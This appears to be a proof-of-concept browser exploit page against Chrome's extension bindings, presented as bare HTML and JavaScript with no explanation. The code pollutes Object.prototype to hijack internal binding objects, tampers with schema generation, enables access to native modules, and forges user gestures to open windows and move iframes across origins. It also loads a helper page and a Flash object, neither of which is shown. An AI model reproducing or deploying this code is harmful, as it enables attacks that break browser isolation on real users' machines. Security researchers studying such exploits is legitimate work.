<script>
Object.prototype.__defineGetter__('test', function() {
  if (this.binding && this.binding.assertBool) {
    delete Object.prototype.test;
    t = this.binding;
    return function() {};
  }
});
Object.prototype.__defineSetter__('test', function() {});
Object.prototype.__defineGetter__('binding', function() {
  delete Object.prototype.binding;
  b = this;
});
Object.prototype.__defineSetter__('postMessage', function() {
  delete Object.prototype.postMessage;
  delete b.utils.loadTypeSchema;
  b.utils.loadTypeSchema = function() {
    return {js_module: 'test', functions: []};
  }
  var bp = b.binding.Binding.prototype;
  old = bp.generate;
  bp.generate = function() {
    if (!this.schema_.properties) {
      this.schema_.properties = {'isInstalled': {type: '', value: 1}};
      this.schema_.namespace = 'webstore';
    }
    return old.apply(this, arguments);
  }
  bp.generate.call({
    runHooks_: function() {},
    schema_: {
      namespace: 'webstore',
      properties: {'isInstalled': {type: '', $ref: 1, value: []}}
    }
  });
});
chrome.runtime;
t.runWithNativesEnabled(function() {
  ug = t.getModuleSystem({}).requireNative('user_gestures');
});

var flip, flop;
function f() {
  if (!flip && cached && ug) {
    flip = 1;
    var i = document.documentElement.appendChild(document.createElement('iframe'));
    i.src = 'f.html';
  }
  if (flop) {
    flop = 0;
    ug.RunWithUserGesture(function() {
      w = window.open();
    });
    frames[1].x.src = 'https://abc.xyz';
    w.document.documentElement.appendChild(frames[1].x);
  }
}
</script>
<object data='s.swf'></object>
<iframe src='https://abc.xyz' onload='cached=1'></iframe>